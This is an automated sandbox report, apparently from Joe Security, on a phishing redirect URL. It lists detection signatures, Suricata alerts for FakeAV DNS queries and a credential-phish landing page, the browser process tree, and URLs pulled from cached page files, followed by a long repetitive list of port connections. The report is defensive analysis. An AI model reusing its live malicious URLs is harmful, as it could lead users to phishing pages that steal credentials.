Edit tour

Windows Analysis Report
http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9

Overview

General Information

Sample URL:	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9
Analysis ID:	1585977
Infos:

Detection

Phisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected Phisher

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML title does not match URL

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Suspicious form URL found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 3688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1932,i,17864858847609454977,4056192639238687891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_106	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

Suricata Signatures

ET MALWARE DNS Query for Possible FakeAV Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T15:44:39.002159+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	57338	1.1.1.1	53	UDP
2025-01-08T15:44:39.002354+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	50215	1.1.1.1	53	UDP
2025-01-08T15:44:40.100704+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	52422	1.1.1.1	53	UDP
2025-01-08T15:44:40.100879+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	57246	1.1.1.1	53	UDP
2025-01-08T15:44:45.611239+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	63200	1.1.1.1	53	UDP
2025-01-08T15:44:45.611439+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	57847	1.1.1.1	53	UDP
2025-01-08T15:44:47.825266+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	55223	1.1.1.1	53	UDP
2025-01-08T15:44:47.825450+0100	2012786	2	Potentially Bad Traffic	192.168.2.16	60334	1.1.1.1	53	UDP

ET PHISHING Generic Survey Credential Phish Landing Page 2024-06-11

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T15:44:33.164254+0100	2053469	1	Successful Credential Theft Detected	104.21.28.45	443	192.168.2.16	49721	TCP

HTTP traffic detected: POST /report/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 589Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 08 Jan 2025 14:44:45 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closepermissions-policy: interest-cohort=()strict-transport-security: max-age=31536000; includeSubDomains; preloadcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8fecf7a3bd575e6d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1768&rtt_var=672&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1391&delivery_rate=1618625&cwnd=252&unsent_bytes=0&cid=ffe9e8adb6e6716d&ts=910&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Address: gin_throttle_mw_7200000000_8.46.123.189X-Ratelimit-Limit: 500X-Ratelimit-Remaining: 497X-Ratelimit-Reset: 1736351084Date: Wed, 08 Jan 2025 14:44:45 GMTContent-Length: 0

Source: chromecache_112.1.dr, chromecache_133.1.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_133.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_120.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_133.1.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_112.1.dr, chromecache_133.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_120.1.dr	String found in binary or memory: https://animate.style/
Source: chromecache_123.1.dr	String found in binary or memory: https://cdn.x1cdn.com/bh/en/ps5/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg1.jpg)
Source: chromecache_123.1.dr	String found in binary or memory: https://cdn.x1cdn.com/bh/fr/i1/1/images/check-icn.svg);
Source: chromecache_123.1.dr	String found in binary or memory: https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/im
Source: chromecache_104.1.dr, chromecache_144.1.dr, chromecache_150.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_104.1.dr, chromecache_144.1.dr, chromecache_150.1.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_164.1.dr, chromecache_170.1.dr, chromecache_103.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_112.1.dr, chromecache_133.1.dr	String found in binary or memory: https://github.com/RobinHerbots/Inputmask
Source: chromecache_164.1.dr, chromecache_170.1.dr, chromecache_103.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_164.1.dr, chromecache_103.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_161.1.dr	String found in binary or memory: https://secureanalytic.com/scripts/ext/script/64d5p99gj0?url=
Source: chromecache_161.1.dr	String found in binary or memory: https://secureanalytic.com/scripts/sw/script/64d5p99gj0?url=
Source: chromecache_163.1.dr	String found in binary or memory: https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=
Source: chromecache_163.1.dr	String found in binary or memory: https://use.fontawesome.com/releases/v5.15.4/js/all.js
Source: chromecache_163.1.dr	String found in binary or memory: https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/
Source: chromecache_106.1.dr	String found in binary or memory: https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
